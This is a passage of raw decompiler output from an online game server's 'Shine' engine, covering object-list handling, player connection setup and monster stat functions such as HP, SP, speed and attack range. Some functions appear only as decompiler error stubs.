(SlantedCoordList::CoordedNode *)(this + 22); v5 = 0; v6 = 0; if ( v2 != v3 ) { SlantedCoordList::CoordedNode::cn_RemoveList(v4); v6 = 1; } if ( *(_DWORD *)(v1 + 38) != *(_DWORD *)(v1 + 42) ) { SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)(v1 + 34)); v5 = 1; } if ( v6 != v5 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectList::som_FreeObject : one of SlantedList is removed", (unsigned __int16)v6, (unsigned __int16)v5); } //----- (004FE3B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_FreeFromList(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 8813); if ( v1 != this ) { *(_DWORD *)(v1 + 8817) = *(_DWORD *)(this + 8817); *(_DWORD *)(*(_DWORD *)(this + 8817) + 8813) = *(_DWORD *)(this + 8813); *(_DWORD *)(this + 8813) = this; *(_DWORD *)(this + 8817) = this; } ShineObjectClass::ShineObject::so_FreeFromList(this); } //----- (004FE3F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_FreeFromList(void *this) { int v1; // esi@1 v1 = (int)this; ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(this); ShineObjectClass::ShineObject::so_FreeFromList(v1); } //----- (004FE400) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Reset_SlantedList(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Reset_SlantedList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Reset_SlantedList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SlantedCoordList::CoordedNode::cn_Reset((SlantedCoordList::CoordedNode *)((char *)v1 + 22)); SlantedCoordList::CoordedNode::cn_Reset((SlantedCoordList::CoordedNode *)((char *)v1 + 34)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Reset_SlantedList"); } //----- (004FE4A0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, ABSTATEINDEX *_Val, char _Carg) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x14u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; result->_Myval = *_Val; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (004FE4E0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ShineObjectEachList *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { ShineObjectEachList::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004FE510) -------------------------------------------------------- int __thiscall ShineObjectEachList::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (004FE550) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ShineObjectEachList *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { *(_WORD *)(v3 + 4) = ele->baseclass_0.l_MaxSize; *(_DWORD *)(v3 + 8) = ele->baseclass_0.l_Array; *(_DWORD *)(v3 + 12) = *(_DWORD *)&ele->baseclass_0.l_Finger.empty; *(_DWORD *)(v3 + 16) = ele->baseclass_0.l_ListArray; *(_WORD *)(v3 + 20) = ele->baseclass_0.l_ListNum; *(_DWORD *)(v3 + 24) = ele->nNextRecordTime; *(_DWORD *)(v3 + 28) = ele->nListNoCount; result = 1; } else { result = 0; } return result; } //----- (004FE5B0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ShineObjectEachList *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->baseclass_0.l_MaxSize = *(_WORD *)(v6 + 4); ele->baseclass_0.l_Array = *(ListStruct **)(v6 + 8); *(_DWORD *)&ele->baseclass_0.l_Finger.empty = *(_DWORD *)(v6 + 12); ele->baseclass_0.l_ListArray = *(struct ListArray **)(v6 + 16); ele->baseclass_0.l_ListNum = *(_WORD *)(v6 + 20); ele->nNextRecordTime = *(_DWORD *)(v6 + 24); ele->nListNoCount = *(_DWORD *)(v6 + 28); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (004FE620) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ShineObjectEachList *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->baseclass_0.l_MaxSize = *(_WORD *)(v6 + 4); ele->baseclass_0.l_Array = *(ListStruct **)(v6 + 8); *(_DWORD *)&ele->baseclass_0.l_Finger.empty = *(_DWORD *)(v6 + 12); ele->baseclass_0.l_ListArray = *(struct ListArray **)(v6 + 16); ele->baseclass_0.l_ListNum = *(_WORD *)(v6 + 20); ele->nNextRecordTime = *(_DWORD *)(v6 + 24); ele->nListNoCount = *(_DWORD *)(v6 + 28); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (004FE690) -------------------------------------------------------- #error "4FE690: undefined or illegal type '#325' (funcsize=88)" //----- (004FE7B0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004FE800) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_IsSet(int this, ABSTATEINDEX abstate) { AbnormalStateContainer::AbstateElementInObject *result; // eax@1 result = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(this + 204), abstate); if ( result ) result = (AbnormalStateContainer::AbstateElementInObject *)((result->aeo_Tick.terminate - clockwatch.cw_CurrTick) / 0xA); return result; } //----- (004FE830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect(void *this) { void *v1; // ebp@1 char v2; // al@1 unsigned int v3; // edx@1 int v4; // esi@1 CParty::PARTY_SLOT *v5; // eax@1 int v6; // eax@1 char v7; // al@1 ListIteratorDefault arg; // [sp+14h] [bp-14h]@1 char *v9; // [sp+18h] [bp-10h]@1 int v10; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(v1); v2 = *((_BYTE *)v1 + 23280); *((_BYTE *)v1 + 23281) &= 0xFEu; *((_BYTE *)v1 + 92572) = 0; *((_DWORD *)v1 + 22284) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *((_BYTE *)v1 + 23280) = v2 & 0x5B; *(_WORD *)((char *)v1 + 32137) = -1; *(_DWORD *)((char *)v1 + 89142) = 0; *((_BYTE *)v1 + 89146) = 0; ListCheckStruct::lcs_Init((ListCheckStruct *)((char *)v1 + 62), &ShineObjectClass::ShineObject::so_SlantedListChecker); v3 = clockwatch.cw_CurrTick; *((_DWORD *)v1 + 16501) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 16499) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 931) = -1; *((_DWORD *)v1 + 930) = -1; v4 = *(_DWORD *)v1; *((_DWORD *)v1 + 17063) = v3; *((_DWORD *)v1 + 1781) = 0; *((_DWORD *)v1 + 22478) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 7959) = (char *)v1 + 23628; *((_DWORD *)v1 + 7958) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; v5 = CParty::p_defaultslot(&partycontainer); (*(void (__thiscall **)(void *, CParty::PARTY_SLOT *))(v4 + 1820))(v1, v5); memcpy( (void *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1164))(v1), &ShineObjectClass::ShineObject::so_emptyabstate, 0x34u); Parameter::Container::c_clear((int)((char *)v1 + 4008)); BitSet::bs_clear((BitSet *)((char *)v1 + 89150)); CQuestZone::InitNewPlayer((CQuestZone *)((char *)v1 + 66032)); v6 = *(_DWORD *)v1; memcpy((char *)v1 + 91696, &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x24u); (*(void (__thiscall **)(void *, _DWORD))(v6 + 1984))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1988))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2052))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2056))(v1, 0); *((_DWORD *)v1 + 23041) = 0; *((_DWORD *)v1 + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v1 + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 23044) = 0; v7 = *((_BYTE *)v1 + 7368) & 0xFE; *((_BYTE *)v1 + 23614) = -1; *((_BYTE *)v1 + 23613) = 99; *((_BYTE *)v1 + 7368) = v7; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v9 = (char *)v1 + 92200; LOBYTE(v10) = 1; List::l_4AllInList((List *)((char *)v1 + 92200), &arg); LOBYTE(v10) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; *((_DWORD *)v1 + 23070) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; ProtocolLogger::pl_Clear((ProtocolLogger *)((char *)v1 + 92288)); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 376))(v1, 0); *((_DWORD *)v1 + 23138) = 0; *((_BYTE *)v1 + 92556) = 0; *((_DWORD *)v1 + 23140) = 0; --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); // 610228: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); // 124D2458: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; // 124D2544: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (004FEA90) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned int *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (004FEB00) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004FEC20) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 Observer *v2; // esi@1 Observer *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) v2->baseclass_0.vfptr->__vecDelDtor((IObserver *)v2, 0); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (004FEC70) -------------------------------------------------------- #error "4FEC70: undefined or illegal type '#325' (funcsize=40)" //----- (004FECE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::__unnamed::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); *(_DWORD *)(this + 32) = *(_DWORD *)(a2 + 32); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_DWORD *)(this + 44) = *(_DWORD *)(a2 + 44); *(_DWORD *)(this + 48) = *(_DWORD *)(a2 + 48); *(_DWORD *)(this + 52) = *(_DWORD *)(a2 + 52); *(_DWORD *)(this + 56) = *(_DWORD *)(a2 + 56); *(_DWORD *)(this + 60) = *(_DWORD *)(a2 + 60); *(_DWORD *)(this + 64) = *(_DWORD *)(a2 + 64); *(_DWORD *)(this + 68) = *(_DWORD *)(a2 + 68); return result; } //----- (004FED60) -------------------------------------------------------- #error "4FED60: undefined or illegal type '#325' (funcsize=40)" //----- (004FEDD0) -------------------------------------------------------- #error "4FEDD0: undefined or illegal type '#325' (funcsize=53)" //----- (004FEE60) -------------------------------------------------------- #error "4FEE60: undefined or illegal type '#325' (funcsize=53)" //----- (004FEEF0) -------------------------------------------------------- #error "4FEEF0: undefined or illegal type '#325' (funcsize=21)" //----- (004FEF30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this) { int v1; // esi@1 v1 = (int)this; *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineAxialFlag::_vftable_; if ( this->safm_vecRoutions._Myfirst ) operator delete(this->safm_vecRoutions._Myfirst); *(_DWORD *)(v1 + 123) = 0; *(_DWORD *)(v1 + 127) = 0; *(_DWORD *)(v1 + 131) = 0; ShineObjectClass::ShineObject::_ShineObject(v1); } // 5D25B0: using guessed type int (*ShineObjectClass__ShineAxialFlag___vftable_)(); //----- (004FEF70) -------------------------------------------------------- #error "4FEF70: undefined or illegal type '#325' (funcsize=13)" //----- (004FEFA0) -------------------------------------------------------- #error "4FEFA0: undefined or illegal type '#325' (funcsize=2)" //----- (004FEFB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::so_safm_SetCinema(ShineObjectClass::ShineAxialFlag *this, Movie::CinemaComplex *cine) { this->safm_Screen = cine; } //----- (004FEFC0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineAxialFlag::so_RemakeHandle(ShineObjectClass::ShineAxialFlag *this, unsigned __int16 handle) { ShineObjectClass::ShineAxialFlag *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 5; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 5; } //----- (004FEFF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::_ShineMob(int this) { int v1; // esi@1 void *v2; // eax@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShineMob::_vftable_; v2 = *(void **)(this + 8840); if ( v2 ) operator delete(v2); *(_DWORD *)(v1 + 8840) = 0; *(_DWORD *)(v1 + 8844) = 0; *(_DWORD *)(v1 + 8848) = 0; List::_List((HitMeList::EnemyList *)(v1 + 8384)); MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(v1 + 7584)); if ( *(_DWORD *)(v1 + 7548) ) operator delete(*(void **)(v1 + 7548)); *(_DWORD *)(v1 + 7548) = 0; *(_DWORD *)(v1 + 7552) = 0; *(_DWORD *)(v1 + 7556) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7408)); TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 7396)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7388)); ShineObjectClass::ShineMobileObject::_ShineMobileObject(v1); } // 5D3020: using guessed type int (*ShineObjectClass__ShineMob___vftable_)(); //----- (004FF0E0) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineMob::GetRTTI() { return &ShineObjectClass::ShineMob::m_RTTI; } //----- (004FF0F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_BattleCamp(int this) { return (*(_BYTE *)(**(_DWORD **)(this + 7536) + 103) != 0) + 1; } //----- (004FF110) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_RegenLocation(void *this) { return (int)((char *)this + 8792); } //----- (004FF120) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_LastHittedLocation(void *this) { return (int)((char *)this + 8800); } //----- (004FF130) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_ChaseRangeSquar(int this) { return *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 4) + 68) * *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 4) + 68); } //----- (004FF140) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAniTime(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 7560); if ( v1 >= 0 ) result = 10 * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 8) + 12 * v1) + 77) / 1000; else result = 0; return result; } //----- (004FF180) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CharName(int this) { return **(_DWORD **)(this + 7536) + 34; } //----- (004FF190) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMob::so_OverlapFactor(void *this) { int v1; // eax@1 signed int result; // eax@3 v1 = *(_DWORD *)(**((_DWORD **)this + 1884) + 95); if ( v1 == 1 || v1 == 2 ) result = 3; else result = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() != 3; return result; } //----- (004FF1C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_FillBriefInformation(int this, int array) { int result; // eax@1 int v3; // esi@1 result = this; v3 = *(_DWORD *)(this + 7510); memcpy((void *)array, (const void *)v3, 0x40u); v3 += 64; *(_WORD *)(array + 64) = *(_WORD *)v3; *(_BYTE *)(array + 66) = *(_BYTE *)(v3 + 2); return result; } //----- (004FF1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SendMyBriefInfo(void *this, int a2) { int v2; // esi@1 int v3; // eax@3 v2 = (int)this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1212))() == 4 || !(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1860))(a2) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, a2, v2 + 7424); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v2 + 2472))(v2, a2); ShineObjectClass::ShineMob::mb_SendMyGuildInfo(v2, a2); } } //----- (004FF240) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_IsEmpty(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1136))() == 3; } //----- (004FF250) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMob::so_ObjectType() { return 5; } //----- (004FF260) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_GetLevel(int this) { return *(_BYTE *)(this + 7540); } //----- (004FF270) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_attackspeed1000_packet(void *this) { int v1; // eax@1 int result; // eax@3 v1 = *((_DWORD *)this + 1890); if ( v1 >= 0 && *(_DWORD *)(*(_DWORD *)(*((_DWORD *)this + 1884) + 8) + 12 * v1) ) result = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)this + 1052))(this) + 2440) * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*((_DWORD *)this + 1884) + 8) + 12 * *((_DWORD *)this + 1890)) + 69) / 1000; else result = 99999; return result; } //----- (004FF2E0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_BodySize(int this) { return 50 * *(_DWORD *)(**(_DWORD **)(this + 7536) + 104) / 0x3E8u; } //----- (004FF300) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_AttackRange(int this, int a2) { int v2; // eax@1 int result; // eax@3 v2 = *(_DWORD *)(this + 7560); if ( v2 >= 0 && *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 8) + 12 * v2) ) result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 8) + 12 * *(_DWORD *)(this + 7560)) + 107) + (*(int (**)(void))(*(_DWORD *)a2 + 1660))(); else result = 99999; return result; } //----- (004FF360) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_DataBox(int this) { return *(_DWORD *)(this + 7536); } //----- (004FF370) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_Race(int this) { return *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 4) + 90); } //----- (004FF380) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_WalkSpeed(int this) { return (unsigned __int8)(*(_DWORD *)(this + 6964) * *(_DWORD *)(**(_DWORD **)(this + 7536) + 74) / 0x3E8u); } //----- (004FF3B0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_RunSpeed(int this) { return *(_DWORD *)(this + 6964) * *(_DWORD *)(**(_DWORD **)(this + 7536) + 78) / 0x3E8u; } //----- (004FF3D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetCharRegistNumber(int this) { return *(_DWORD *)(this + 7412); } //----- (004FF3E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_LoginLocation(void *this) { return (int)((char *)this + 7514); } //----- (004FF3F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_Heal(void *this, int heal) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1854) += heal * *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 3094) / 1000; result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); if ( *((_DWORD *)v2 + 1854) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); *((_DWORD *)v2 + 1854) = result; } return result; } //----- (004FF450) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetHP(int this) { return *(_DWORD *)(this + 7416); } //----- (004FF460) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_MaxHP(void *this) { void *v1; // esi@1 unsigned int result; // eax@1 v1 = this; result = *(_DWORD *)(**((_DWORD **)this + 1884) + 70) * *(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 2444) / 0x3E8u; *((_DWORD *)v1 + 932) = result; return result; } //----- (004FF4A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_MaxSP(int this) { int result; // eax@1 result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 4) + 151); *(_DWORD *)(this + 3732) = result; return result; } //----- (004FF4C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetSP(int this) { return *(_DWORD *)(this + 7420); } //----- (004FF4D0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_LostSP(int this, unsigned int a2) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 7420); if ( result < a2 ) { *(_DWORD *)(this + 7420) = 0; } else { result -= a2; *(_DWORD *)(this + 7420) = result; } return result; } //----- (004FF500) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GainSP(void *this, int a2) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1855) += a2; result = (*(int (**)(void))(*(_DWORD *)this + 1248))(); if ( *((_DWORD *)v2 + 1855) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); *((_DWORD *)v2 + 1855) = result; } return result; } //----- (004FF540) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_ZeroHP(int this) { *(_DWORD *)(this + 7416) = 0; } //----- (004FF550) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_LostHP(int this, unsigned int hp) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 7416); if ( result < hp ) { *(_DWORD *)(this + 7416) = 1; } else { result -= hp; *(_DWORD *)(this + 7416) = result; } return result; } //----- (004FF580) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GainHP(void *this, int hp) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1854) += hp; result = (*(int (**)(void))(*(_DWORD *)this + 1236))(); if ( *((_DWORD *)v2 + 1854) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); *((_DWORD *)v2 + 1854) = result; } return result; } //----- (004FF5C0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_RemakeHandle(void *this, __int16 handle) { void *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 4 * handle; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 4 * handle; } //----- (004FF5F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_Getabstatebit(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 7510); if ( *(_BYTE 